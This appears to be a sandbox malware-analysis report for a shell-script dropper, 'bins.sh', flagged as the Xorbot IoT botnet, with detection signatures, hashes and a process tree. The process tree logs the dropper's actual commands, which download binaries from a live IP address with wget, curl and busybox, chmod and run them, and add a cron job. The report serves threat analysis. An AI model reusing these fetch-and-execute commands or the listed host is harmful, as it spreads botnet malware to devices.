Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    07/02/2025, 23:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250207-26xt1aspet
  • SHA256 ec3c644539692fca8b0cd06bf82d72ae5e43928be58e17dc2cc6ae1297b1b55f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2151) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:734
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:736
      • /usr/bin/wget
        wget http://37.44.238.88/bins/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • Writes file to tmp directory
        PID:741
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:763
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • Writes file to tmp directory
        PID:764
      • /bin/chmod
        chmod 777 eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • File and Directory Permissions Modification
        PID:765
      • /tmp/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        ./eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
          PID:766
        • /bin/rm
          rm eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
          2⤵
            PID:770
          • /usr/bin/wget
            wget http://37.44.238.88/bins/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • Writes file to tmp directory
            PID:771
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • Writes file to tmp directory
            PID:795
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • Writes file to tmp directory
            PID:816
          • /bin/chmod
            chmod 777 9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • File and Directory Permissions Modification
            PID:817
          • /tmp/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            ./9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:818
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:820
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:821
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:822
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:823
                • /bin/rm
                  rm 9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
                  2⤵
                    PID:825
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                    2⤵
                      PID:869

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
                        • Path /tmp/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
                        • Size 151KB
                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
                        • Path /tmp/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
                        • Size 112KB
                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.T4Lbfr
                        • Path /var/spool/cron/crontabs/tmp.T4Lbfr
                        • Size 210B
                        • SHA256 6a0012c8b97b54d9c34b84ea4140e65dcd91d3614bed42e55ff02e2f8deea8f5
                        • MD5 SHA1 SHA512
                        Submit Download